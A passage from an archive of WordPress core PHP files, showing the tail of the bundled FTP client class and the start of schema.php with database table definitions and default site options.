function get($remotefile, $localfile=NULL, $rest=0) {
if(is_null($localfile)) $localfile=$remotefile;
if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten");
$fp = @fopen($localfile, "w");
if (!$fp) {
$this->PushError("get","cannot open local file", "Cannot create \"".$localfile."\"");
return FALSE;
}
if($this->_can_restore and $rest!=0) fseek($fp, $rest);
$pi=pathinfo($remotefile);
if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
else $mode=FTP_BINARY;
if(!$this->_data_prepare($mode)) {
fclose($fp);
return FALSE;
}
if($this->_can_restore and $rest!=0) $this->restore($rest);
if(!$this->_exec("RETR ".$remotefile, "get")) {
$this->_data_close();
fclose($fp);
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
fclose($fp);
return FALSE;
}
$out=$this->_data_read($mode, $fp);
fclose($fp);
$this->_data_close();
if(!$this->_readmsg()) return FALSE;
if(!$this->_checkCode()) return FALSE;
return $out;
}
function fput($remotefile, $fp, $rest=0) {
if($this->_can_restore and $rest!=0) fseek($fp, $rest);
$pi=pathinfo($remotefile);
if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
else $mode=FTP_BINARY;
if(!$this->_data_prepare($mode)) {
return FALSE;
}
if($this->_can_restore and $rest!=0) $this->restore($rest);
if(!$this->_exec("STOR ".$remotefile, "put")) {
$this->_data_close();
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
return FALSE;
}
$ret=$this->_data_write($mode, $fp);
$this->_data_close();
if(!$this->_readmsg()) return FALSE;
if(!$this->_checkCode()) return FALSE;
return $ret;
}
function put($localfile, $remotefile=NULL, $rest=0) {
if(is_null($remotefile)) $remotefile=$localfile;
if (!file_exists($localfile)) {
$this->PushError("put","cannot open local file", "No such file or directory \"".$localfile."\"");
return FALSE;
}
$fp = @fopen($localfile, "r");
if (!$fp) {
$this->PushError("put","cannot open local file", "Cannot read file \"".$localfile."\"");
return FALSE;
}
if($this->_can_restore and $rest!=0) fseek($fp, $rest);
$pi=pathinfo($localfile);
if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
else $mode=FTP_BINARY;
if(!$this->_data_prepare($mode)) {
fclose($fp);
return FALSE;
}
if($this->_can_restore and $rest!=0) $this->restore($rest);
if(!$this->_exec("STOR ".$remotefile, "put")) {
$this->_data_close();
fclose($fp);
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
fclose($fp);
return FALSE;
}
$ret=$this->_data_write($mode, $fp);
fclose($fp);
$this->_data_close();
if(!$this->_readmsg()) return FALSE;
if(!$this->_checkCode()) return FALSE;
return $ret;
}
function mput($local=".", $remote=NULL, $continious=false) {
$local=realpath($local);
if(!@file_exists($local)) {
$this->PushError("mput","cannot open local folder", "Cannot stat folder \"".$local."\"");
return FALSE;
}
if(!is_dir($local)) return $this->put($local, $remote);
if(empty($remote)) $remote=".";
elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE;
if($handle = opendir($local)) {
$list=array();
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") $list[]=$file;
}
closedir($handle);
} else {
$this->PushError("mput","cannot open local folder", "Cannot read folder \"".$local."\"");
return FALSE;
}
if(empty($list)) return TRUE;
$ret=true;
foreach($list as $el) {
if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el);
else $t=$this->put($local."/".$el, $remote."/".$el);
if(!$t) {
$ret=FALSE;
if(!$continious) break;
}
}
return $ret;
}
function mget($remote, $local=".", $continious=false) {
$list=$this->rawlist($remote, "-lA");
if($list===false) {
$this->PushError("mget","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
return FALSE;
}
if(empty($list)) return true;
if(!@file_exists($local)) {
if(!@mkdir($local)) {
$this->PushError("mget","cannot create local folder", "Cannot create folder \"".$local."\"");
return FALSE;
}
}
foreach($list as $k=>$v) {
$list[$k]=$this->parselisting($v);
if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
}
$ret=true;
foreach($list as $el) {
if($el["type"]=="d") {
if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) {
$this->PushError("mget", "cannot copy folder", "Cannot copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
$ret=false;
if(!$continious) break;
}
} else {
if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) {
$this->PushError("mget", "cannot copy file", "Cannot copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
$ret=false;
if(!$continious) break;
}
}
@chmod($local."/".$el["name"], $el["perms"]);
$t=strtotime($el["date"]);
if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t);
}
return $ret;
}
function mdel($remote, $continious=false) {
$list=$this->rawlist($remote, "-la");
if($list===false) {
$this->PushError("mdel","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
return false;
}
foreach($list as $k=>$v) {
$list[$k]=$this->parselisting($v);
if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
}
$ret=true;
foreach($list as $el) {
if ( empty($el) )
continue;
if($el["type"]=="d") {
if(!$this->mdel($remote."/".$el["name"], $continious)) {
$ret=false;
if(!$continious) break;
}
} else {
if (!$this->delete($remote."/".$el["name"])) {
$this->PushError("mdel", "cannot delete file", "Cannot delete remote file \"".$remote."/".$el["name"]."\"");
$ret=false;
if(!$continious) break;
}
}
}
if(!$this->rmdir($remote)) {
$this->PushError("mdel", "cannot delete folder", "Cannot delete remote folder \"".$remote."/".$el["name"]."\"");
$ret=false;
}
return $ret;
}
function mmkdir($dir, $mode = 0777) {
if(empty($dir)) return FALSE;
if($this->is_exists($dir) or $dir == "/" ) return TRUE;
if(!$this->mmkdir(dirname($dir), $mode)) return false;
$r=$this->mkdir($dir, $mode);
$this->chmod($dir,$mode);
return $r;
}
function glob($pattern, $handle=NULL) {
$path=$output=null;
if(PHP_OS=='WIN32') $slash='\\';
else $slash='/';
$lastpos=strrpos($pattern,$slash);
if(!($lastpos===false)) {
$path=substr($pattern,0,-$lastpos-1);
$pattern=substr($pattern,$lastpos);
} else $path=getcwd();
if(is_array($handle) and !empty($handle)) {
foreach($handle as $dir) {
if($this->glob_pattern_match($pattern,$dir))
$output[]=$dir;
}
} else {
$handle=@opendir($path);
if($handle===false) return false;
while($dir=readdir($handle)) {
if($this->glob_pattern_match($pattern,$dir))
$output[]=$dir;
}
closedir($handle);
}
if(is_array($output)) return $output;
return false;
}
function glob_pattern_match($pattern,$subject) {
$out=null;
$chunks=explode(';',$pattern);
foreach($chunks as $pattern) {
$escape=array('$','^','.','{','}','(',')','[',']','|');
while(str_contains($pattern,'**'))
$pattern=str_replace('**','*',$pattern);
foreach($escape as $probe)
$pattern=str_replace($probe,"\\$probe",$pattern);
$pattern=str_replace('?*','*',
str_replace('*?','*',
str_replace('*',".*",
str_replace('?','.{1,1}',$pattern))));
$out[]=$pattern;
}
if(count($out)==1) return($this->glob_regexp("^$out[0]$",$subject));
else {
foreach($out as $tester)
// TODO: This should probably be glob_regexp(), but needs tests.
if($this->my_regexp("^$tester$",$subject)) return true;
}
return false;
}
function glob_regexp($pattern,$subject) {
$sensitive=(PHP_OS!='WIN32');
return ($sensitive?
preg_match( '/' . preg_quote( $pattern, '/' ) . '/', $subject ) :
preg_match( '/' . preg_quote( $pattern, '/' ) . '/i', $subject )
);
}
function dirlist($remote) {
$list=$this->rawlist($remote, "-la");
if($list===false) {
$this->PushError("dirlist","cannot read remote folder list", "Cannot read remote folder \"".$remote."\" contents");
return false;
}
$dirlist = array();
foreach($list as $k=>$v) {
$entry=$this->parselisting($v);
if ( empty($entry) )
continue;
if($entry["name"]=="." or $entry["name"]=="..")
continue;
$dirlist[$entry['name']] = $entry;
}
return $dirlist;
}
//
//
//
function _checkCode() {
return ($this->_code<400 and $this->_code>0);
}
function _list($arg="", $cmd="LIST", $fnction="_list") {
if(!$this->_data_prepare()) return false;
if(!$this->_exec($cmd.$arg, $fnction)) {
$this->_data_close();
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
return FALSE;
}
$out="";
if($this->_code<200) {
$out=$this->_data_read();
$this->_data_close();
if(!$this->_readmsg()) return FALSE;
if(!$this->_checkCode()) return FALSE;
if($out === FALSE ) return FALSE;
$out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY);
// $this->SendMSG(implode($this->_eol_code[$this->OS_local], $out));
}
return $out;
}
//
//
//
// Gnre une erreur pour traitement externe la classe
function PushError($fctname,$msg,$desc=false){
$error=array();
$error['time']=time();
$error['fctname']=$fctname;
$error['msg']=$msg;
$error['desc']=$desc;
if($desc) $tmp=' ('.$desc.')'; else $tmp='';
$this->SendMSG($fctname.': '.$msg.$tmp);
return(array_push($this->_error_array,$error));
}
// Rcupre une erreur externe
function PopError(){
if(count($this->_error_array)) return(array_pop($this->_error_array));
else return(false);
}
}
$mod_sockets = extension_loaded( 'sockets' );
if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) {
$prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : '';
@dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX ); // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.dlDeprecated
$mod_sockets = extension_loaded( 'sockets' );
}
require_once __DIR__ . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php";
if ( $mod_sockets ) {
class ftp extends ftp_sockets {}
} else {
class ftp extends ftp_pure {}
}
schema.php 0000644 00000123243 14757313107 0006532 0 ustar 00 get_charset_collate();
/**
* Retrieve the SQL for creating database tables.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $scope Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
* @param int $blog_id Optional. The site ID for which to retrieve SQL. Default is the current site ID.
* @return string The SQL needed to create the requested tables.
*/
function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
global $wpdb;
$charset_collate = $wpdb->get_charset_collate();
if ( $blog_id && (int) $blog_id !== $wpdb->blogid ) {
$old_blog_id = $wpdb->set_blog_id( $blog_id );
}
// Engage multisite if in the middle of turning it on from network.php.
$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );
/*
* Indexes have a maximum size of 767 bytes. Historically, we haven't need to be concerned about that.
* As of 4.2, however, we moved to utf8mb4, which uses 4 bytes per character. This means that an index which
* used to have room for floor(767/3) = 255 characters, now only has room for floor(767/4) = 191 characters.
*/
$max_index_length = 191;
// Blog-specific tables.
$blog_tables = "CREATE TABLE $wpdb->termmeta (
meta_id bigint(20) unsigned NOT NULL auto_increment,
term_id bigint(20) unsigned NOT NULL default '0',
meta_key varchar(255) default NULL,
meta_value longtext,
PRIMARY KEY (meta_id),
KEY term_id (term_id),
KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->terms (
term_id bigint(20) unsigned NOT NULL auto_increment,
name varchar(200) NOT NULL default '',
slug varchar(200) NOT NULL default '',
term_group bigint(10) NOT NULL default 0,
PRIMARY KEY (term_id),
KEY slug (slug($max_index_length)),
KEY name (name($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->term_taxonomy (
term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
term_id bigint(20) unsigned NOT NULL default 0,
taxonomy varchar(32) NOT NULL default '',
description longtext NOT NULL,
parent bigint(20) unsigned NOT NULL default 0,
count bigint(20) NOT NULL default 0,
PRIMARY KEY (term_taxonomy_id),
UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
KEY taxonomy (taxonomy)
) $charset_collate;
CREATE TABLE $wpdb->term_relationships (
object_id bigint(20) unsigned NOT NULL default 0,
term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
term_order int(11) NOT NULL default 0,
PRIMARY KEY (object_id,term_taxonomy_id),
KEY term_taxonomy_id (term_taxonomy_id)
) $charset_collate;
CREATE TABLE $wpdb->commentmeta (
meta_id bigint(20) unsigned NOT NULL auto_increment,
comment_id bigint(20) unsigned NOT NULL default '0',
meta_key varchar(255) default NULL,
meta_value longtext,
PRIMARY KEY (meta_id),
KEY comment_id (comment_id),
KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->comments (
comment_ID bigint(20) unsigned NOT NULL auto_increment,
comment_post_ID bigint(20) unsigned NOT NULL default '0',
comment_author tinytext NOT NULL,
comment_author_email varchar(100) NOT NULL default '',
comment_author_url varchar(200) NOT NULL default '',
comment_author_IP varchar(100) NOT NULL default '',
comment_date datetime NOT NULL default '0000-00-00 00:00:00',
comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
comment_content text NOT NULL,
comment_karma int(11) NOT NULL default '0',
comment_approved varchar(20) NOT NULL default '1',
comment_agent varchar(255) NOT NULL default '',
comment_type varchar(20) NOT NULL default 'comment',
comment_parent bigint(20) unsigned NOT NULL default '0',
user_id bigint(20) unsigned NOT NULL default '0',
PRIMARY KEY (comment_ID),
KEY comment_post_ID (comment_post_ID),
KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
KEY comment_date_gmt (comment_date_gmt),
KEY comment_parent (comment_parent),
KEY comment_author_email (comment_author_email(10))
) $charset_collate;
CREATE TABLE $wpdb->links (
link_id bigint(20) unsigned NOT NULL auto_increment,
link_url varchar(255) NOT NULL default '',
link_name varchar(255) NOT NULL default '',
link_image varchar(255) NOT NULL default '',
link_target varchar(25) NOT NULL default '',
link_description varchar(255) NOT NULL default '',
link_visible varchar(20) NOT NULL default 'Y',
link_owner bigint(20) unsigned NOT NULL default '1',
link_rating int(11) NOT NULL default '0',
link_updated datetime NOT NULL default '0000-00-00 00:00:00',
link_rel varchar(255) NOT NULL default '',
link_notes mediumtext NOT NULL,
link_rss varchar(255) NOT NULL default '',
PRIMARY KEY (link_id),
KEY link_visible (link_visible)
) $charset_collate;
CREATE TABLE $wpdb->options (
option_id bigint(20) unsigned NOT NULL auto_increment,
option_name varchar(191) NOT NULL default '',
option_value longtext NOT NULL,
autoload varchar(20) NOT NULL default 'yes',
PRIMARY KEY (option_id),
UNIQUE KEY option_name (option_name),
KEY autoload (autoload)
) $charset_collate;
CREATE TABLE $wpdb->postmeta (
meta_id bigint(20) unsigned NOT NULL auto_increment,
post_id bigint(20) unsigned NOT NULL default '0',
meta_key varchar(255) default NULL,
meta_value longtext,
PRIMARY KEY (meta_id),
KEY post_id (post_id),
KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->posts (
ID bigint(20) unsigned NOT NULL auto_increment,
post_author bigint(20) unsigned NOT NULL default '0',
post_date datetime NOT NULL default '0000-00-00 00:00:00',
post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
post_content longtext NOT NULL,
post_title text NOT NULL,
post_excerpt text NOT NULL,
post_status varchar(20) NOT NULL default 'publish',
comment_status varchar(20) NOT NULL default 'open',
ping_status varchar(20) NOT NULL default 'open',
post_password varchar(255) NOT NULL default '',
post_name varchar(200) NOT NULL default '',
to_ping text NOT NULL,
pinged text NOT NULL,
post_modified datetime NOT NULL default '0000-00-00 00:00:00',
post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
post_content_filtered longtext NOT NULL,
post_parent bigint(20) unsigned NOT NULL default '0',
guid varchar(255) NOT NULL default '',
menu_order int(11) NOT NULL default '0',
post_type varchar(20) NOT NULL default 'post',
post_mime_type varchar(100) NOT NULL default '',
comment_count bigint(20) NOT NULL default '0',
PRIMARY KEY (ID),
KEY post_name (post_name($max_index_length)),
KEY type_status_date (post_type,post_status,post_date,ID),
KEY post_parent (post_parent),
KEY post_author (post_author)
) $charset_collate;\n";
// Single site users table. The multisite flavor of the users table is handled below.
$users_single_table = "CREATE TABLE $wpdb->users (
ID bigint(20) unsigned NOT NULL auto_increment,
user_login varchar(60) NOT NULL default '',
user_pass varchar(255) NOT NULL default '',
user_nicename varchar(50) NOT NULL default '',
user_email varchar(100) NOT NULL default '',
user_url varchar(100) NOT NULL default '',
user_registered datetime NOT NULL default '0000-00-00 00:00:00',
user_activation_key varchar(255) NOT NULL default '',
user_status int(11) NOT NULL default '0',
display_name varchar(250) NOT NULL default '',
PRIMARY KEY (ID),
KEY user_login_key (user_login),
KEY user_nicename (user_nicename),
KEY user_email (user_email)
) $charset_collate;\n";
// Multisite users table.
$users_multi_table = "CREATE TABLE $wpdb->users (
ID bigint(20) unsigned NOT NULL auto_increment,
user_login varchar(60) NOT NULL default '',
user_pass varchar(255) NOT NULL default '',
user_nicename varchar(50) NOT NULL default '',
user_email varchar(100) NOT NULL default '',
user_url varchar(100) NOT NULL default '',
user_registered datetime NOT NULL default '0000-00-00 00:00:00',
user_activation_key varchar(255) NOT NULL default '',
user_status int(11) NOT NULL default '0',
display_name varchar(250) NOT NULL default '',
spam tinyint(2) NOT NULL default '0',
deleted tinyint(2) NOT NULL default '0',
PRIMARY KEY (ID),
KEY user_login_key (user_login),
KEY user_nicename (user_nicename),
KEY user_email (user_email)
) $charset_collate;\n";
// Usermeta.
$usermeta_table = "CREATE TABLE $wpdb->usermeta (
umeta_id bigint(20) unsigned NOT NULL auto_increment,
user_id bigint(20) unsigned NOT NULL default '0',
meta_key varchar(255) default NULL,
meta_value longtext,
PRIMARY KEY (umeta_id),
KEY user_id (user_id),
KEY meta_key (meta_key($max_index_length))
) $charset_collate;\n";
// Global tables.
if ( $is_multisite ) {
$global_tables = $users_multi_table . $usermeta_table;
} else {
$global_tables = $users_single_table . $usermeta_table;
}
// Multisite global tables.
$ms_global_tables = "CREATE TABLE $wpdb->blogs (
blog_id bigint(20) NOT NULL auto_increment,
site_id bigint(20) NOT NULL default '0',
domain varchar(200) NOT NULL default '',
path varchar(100) NOT NULL default '',
registered datetime NOT NULL default '0000-00-00 00:00:00',
last_updated datetime NOT NULL default '0000-00-00 00:00:00',
public tinyint(2) NOT NULL default '1',
archived tinyint(2) NOT NULL default '0',
mature tinyint(2) NOT NULL default '0',
spam tinyint(2) NOT NULL default '0',
deleted tinyint(2) NOT NULL default '0',
lang_id int(11) NOT NULL default '0',
PRIMARY KEY (blog_id),
KEY domain (domain(50),path(5)),
KEY lang_id (lang_id)
) $charset_collate;
CREATE TABLE $wpdb->blogmeta (
meta_id bigint(20) unsigned NOT NULL auto_increment,
blog_id bigint(20) NOT NULL default '0',
meta_key varchar(255) default NULL,
meta_value longtext,
PRIMARY KEY (meta_id),
KEY meta_key (meta_key($max_index_length)),
KEY blog_id (blog_id)
) $charset_collate;
CREATE TABLE $wpdb->registration_log (
ID bigint(20) NOT NULL auto_increment,
email varchar(255) NOT NULL default '',
IP varchar(30) NOT NULL default '',
blog_id bigint(20) NOT NULL default '0',
date_registered datetime NOT NULL default '0000-00-00 00:00:00',
PRIMARY KEY (ID),
KEY IP (IP)
) $charset_collate;
CREATE TABLE $wpdb->site (
id bigint(20) NOT NULL auto_increment,
domain varchar(200) NOT NULL default '',
path varchar(100) NOT NULL default '',
PRIMARY KEY (id),
KEY domain (domain(140),path(51))
) $charset_collate;
CREATE TABLE $wpdb->sitemeta (
meta_id bigint(20) NOT NULL auto_increment,
site_id bigint(20) NOT NULL default '0',
meta_key varchar(255) default NULL,
meta_value longtext,
PRIMARY KEY (meta_id),
KEY meta_key (meta_key($max_index_length)),
KEY site_id (site_id)
) $charset_collate;
CREATE TABLE $wpdb->signups (
signup_id bigint(20) NOT NULL auto_increment,
domain varchar(200) NOT NULL default '',
path varchar(100) NOT NULL default '',
title longtext NOT NULL,
user_login varchar(60) NOT NULL default '',
user_email varchar(100) NOT NULL default '',
registered datetime NOT NULL default '0000-00-00 00:00:00',
activated datetime NOT NULL default '0000-00-00 00:00:00',
active tinyint(1) NOT NULL default '0',
activation_key varchar(50) NOT NULL default '',
meta longtext,
PRIMARY KEY (signup_id),
KEY activation_key (activation_key),
KEY user_email (user_email),
KEY user_login_email (user_login,user_email),
KEY domain_path (domain(140),path(51))
) $charset_collate;";
switch ( $scope ) {
case 'blog':
$queries = $blog_tables;
break;
case 'global':
$queries = $global_tables;
if ( $is_multisite ) {
$queries .= $ms_global_tables;
}
break;
case 'ms_global':
$queries = $ms_global_tables;
break;
case 'all':
default:
$queries = $global_tables . $blog_tables;
if ( $is_multisite ) {
$queries .= $ms_global_tables;
}
break;
}
if ( isset( $old_blog_id ) ) {
$wpdb->set_blog_id( $old_blog_id );
}
return $queries;
}
// Populate for back compat.
$wp_queries = wp_get_db_schema( 'all' );
/**
* Create WordPress options and set the default values.
*
* @since 1.5.0
* @since 5.1.0 The $options parameter has been added.
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global int $wp_db_version WordPress database version.
* @global int $wp_current_db_version The old (current) database version.
*
* @param array $options Optional. Custom option $key => $value pairs to use. Default empty array.
*/
function populate_options( array $options = array() ) {
global $wpdb, $wp_db_version, $wp_current_db_version;
$guessurl = wp_guess_url();
/**
* Fires before creating WordPress options and populating their default values.
*
* @since 2.6.0
*/
do_action( 'populate_options' );
// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
$stylesheet = WP_DEFAULT_THEME;
$template = WP_DEFAULT_THEME;
$theme = wp_get_theme( WP_DEFAULT_THEME );
if ( ! $theme->exists() ) {
$theme = WP_Theme::get_core_default_theme();
}
// If we can't find a core default theme, WP_DEFAULT_THEME is the best we can do.
if ( $theme ) {
$stylesheet = $theme->get_stylesheet();
$template = $theme->get_template();
}
$timezone_string = '';
$gmt_offset = 0;
/*
* translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
* or a valid timezone string (America/New_York). See https://www.php.net/manual/en/timezones.php
* for all timezone strings currently supported by PHP.
*
* Important: When a previous timezone string, like `Europe/Kiev`, has been superseded by an
* updated one, like `Europe/Kyiv`, as a rule of thumb, the **old** timezone name should be used
* in the "translation" to allow for the default timezone setting to be PHP cross-version compatible,
* as old timezone names will be recognized in new PHP versions, while new timezone names cannot
* be recognized in old PHP versions.
*
* To verify which timezone strings are available in the _oldest_ PHP version supported, you can
* use https://3v4l.org/6YQAt#v5.6.20 and replace the "BR" (Brazil) in the code line with the
* country code for which you want to look up the supported timezone names.
*/
$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
if ( is_numeric( $offset_or_tz ) ) {
$gmt_offset = $offset_or_tz;
} elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) {
$timezone_string = $offset_or_tz;
}
$defaults = array(
'siteurl' => $guessurl,
'home' => $guessurl,
'blogname' => __( 'My Site' ),
'blogdescription' => '',
'users_can_register' => 0,
'admin_email' => 'you@example.com',
/* translators: Default start of the week. 0 = Sunday, 1 = Monday. */
'start_of_week' => _x( '1', 'start of week' ),
'use_balanceTags' => 0,
'use_smilies' => 1,
'require_name_email' => 1,
'comments_notify' => 1,
'posts_per_rss' => 10,
'rss_use_excerpt' => 0,
'mailserver_url' => 'mail.example.com',
'mailserver_login' => 'login@example.com',
'mailserver_pass' => '',
'mailserver_port' => 110,
'default_category' => 1,
'default_comment_status' => 'open',
'default_ping_status' => 'open',
'default_pingback_flag' => 1,
'posts_per_page' => 10,
/* translators: Default date format, see https://www.php.net/manual/datetime.format.php */
'date_format' => __( 'F j, Y' ),
/* translators: Default time format, see https://www.php.net/manual/datetime.format.php */
'time_format' => __( 'g:i a' ),
/* translators: Links last updated date format, see https://www.php.net/manual/datetime.format.php */
'links_updated_date_format' => __( 'F j, Y g:i a' ),
'comment_moderation' => 0,
'moderation_notify' => 1,
'permalink_structure' => '',
'rewrite_rules' => '',
'hack_file' => 0,
'blog_charset' => 'UTF-8',
'moderation_keys' => '',
'active_plugins' => array(),
'category_base' => '',
'ping_sites' => 'http://rpc.pingomatic.com/',
'comment_max_links' => 2,
'gmt_offset' => $gmt_offset,
// 1.5.0
'default_email_category' => 1,
'recently_edited' => '',
'template' => $template,
'stylesheet' => $stylesheet,
'comment_registration' => 0,
'html_type' => 'text/html',
// 1.5.1
'use_trackback' => 0,
// 2.0.0
'default_role' => 'subscriber',
'db_version' => $wp_db_version,
// 2.0.1
'uploads_use_yearmonth_folders' => 1,
'upload_path' => '',
// 2.1.0
'blog_public' => '1',
'default_link_category' => 2,
'show_on_front' => 'posts',
// 2.2.0
'tag_base' => '',
// 2.5.0
'show_avatars' => '1',
'avatar_rating' => 'G',
'upload_url_path' => '',
'thumbnail_size_w' => 150,
'thumbnail_size_h' => 150,
'thumbnail_crop' => 1,
'medium_size_w' => 300,
'medium_size_h' => 300,
// 2.6.0
'avatar_default' => 'mystery',
// 2.7.0
'large_size_w' => 1024,
'large_size_h' => 1024,
'image_default_link_type' => 'none',
'image_default_size' => '',
'image_default_align' => '',
'close_comments_for_old_posts' => 0,
'close_comments_days_old' => 14,
'thread_comments' => 1,
'thread_comments_depth' => 5,
'page_comments' => 0,
'comments_per_page' => 50,
'default_comments_page' => 'newest',
'comment_order' => 'asc',
'sticky_posts' => array(),
'widget_categories' => array(),
'widget_text' => array(),
'widget_rss' => array(),
'uninstall_plugins' => array(),
// 2.8.0
'timezone_string' => $timezone_string,
// 3.0.0
'page_for_posts' => 0,
'page_on_front' => 0,
// 3.1.0
'default_post_format' => 0,
// 3.5.0
'link_manager_enabled' => 0,
// 4.3.0
'finished_splitting_shared_terms' => 1,
'site_icon' => 0,
// 4.4.0
'medium_large_size_w' => 768,
'medium_large_size_h' => 0,
// 4.9.6
'wp_page_for_privacy_policy' => 0,
// 4.9.8
'show_comments_cookies_opt_in' => 1,
// 5.3.0
'admin_email_lifespan' => ( time() + 6 * MONTH_IN_SECONDS ),
// 5.5.0
'disallowed_keys' => '',
'comment_previously_approved' => 1,
'auto_plugin_theme_update_emails' => array(),
// 5.6.0
'auto_update_core_dev' => 'enabled',
'auto_update_core_minor' => 'enabled',
/*
* Default to enabled for new installs.
* See https://core.trac.wordpress.org/ticket/51742.
*/
'auto_update_core_major' => 'enabled',
// 5.8.0
'wp_force_deactivated_plugins' => array(),
// 6.4.0
'wp_attachment_pages_enabled' => 0,
);
// 3.3.0
if ( ! is_multisite() ) {
$defaults['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
? $wp_current_db_version : $wp_db_version;
}
// 3.0.0 multisite.
if ( is_multisite() ) {
$defaults['permalink_structure'] = '/%year%/%monthnum%/%day%/%postname%/';
}
$options = wp_parse_args( $options, $defaults );
// Set autoload to no for these options.
$fat_options = array(
'moderation_keys',
'recently_edited',
'disallowed_keys',
'uninstall_plugins',
'auto_plugin_theme_update_emails',
);
$keys = "'" . implode( "', '", array_keys( $options ) ) . "'";
$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
$insert = '';
foreach ( $options as $option => $value ) {
if ( in_array( $option, $existing_options, true ) ) {
continue;
}
if ( in_array( $option, $fat_options, true ) ) {
$autoload = 'off';
} else {
$autoload = 'on';
}
if ( ! empty( $insert ) ) {
$insert .= ', ';
}
$value = maybe_serialize( sanitize_option( $option, $value ) );
$insert .= $wpdb->prepare( '(%s, %s, %s)', $option, $value, $autoload );
}
if ( ! empty( $insert ) ) {
$wpdb->query( "INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
}
// In case it is set, but blank, update "home".
if ( ! __get_option( 'home' ) ) {
update_option( 'home', $guessurl );
}
// Delete unused options.
$unusedoptions = array(
'blodotgsping_url',
'bodyterminator',
'emailtestonly',
'phoneemail_separator',
'smilies_directory',
'subjectprefix',
'use_bbcode',
'use_blodotgsping',
'use_phoneemail',
'use_quicktags',
'use_weblogsping',
'weblogs_cache_file',
'use_preview',
'use_htmltrans',
'smilies_directory',
'fileupload_allowedusers',
'use_phoneemail',
'default_post_status',
'default_post_category',
'archive_mode',
'time_difference',
'links_minadminlevel',
'links_use_adminlevels',
'links_rating_type',
'links_rating_char',
'links_rating_ignore_zero',
'links_rating_single_image',
'links_rating_image0',
'links_rating_image1',
'links_rating_image2',
'links_rating_image3',
'links_rating_image4',
'links_rating_image5',
'links_rating_image6',
'links_rating_image7',
'links_rating_image8',
'links_rating_image9',
'links_recently_updated_time',
'links_recently_updated_prepend',
'links_recently_updated_append',
'weblogs_cacheminutes',
'comment_allowed_tags',
'search_engine_friendly_urls',
'default_geourl_lat',
'default_geourl_lon',
'use_default_geourl',
'weblogs_xml_url',
'new_users_can_blog',
'_wpnonce',
'_wp_http_referer',
'Update',
'action',
'rich_editing',
'autosave_interval',
'deactivated_plugins',
'can_compress_scripts',
'page_uris',
'update_core',
'update_plugins',
'update_themes',
'doing_cron',
'random_seed',
'rss_excerpt_length',
'secret',
'use_linksupdate',
'default_comment_status_page',
'wporg_popular_tags',
'what_to_show',
'rss_language',
'language',
'enable_xmlrpc',
'enable_app',
'embed_autourls',
'default_post_edit_rows',
'gzipcompression',
'advanced_edit',
);
foreach ( $unusedoptions as $option ) {
delete_option( $option );
}
// Delete obsolete magpie stuff.
$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'" );
// Clear expired transients.
delete_expired_transients( true );
}
/**
* Execute WordPress role creation for the various WordPress versions.
*
* @since 2.0.0
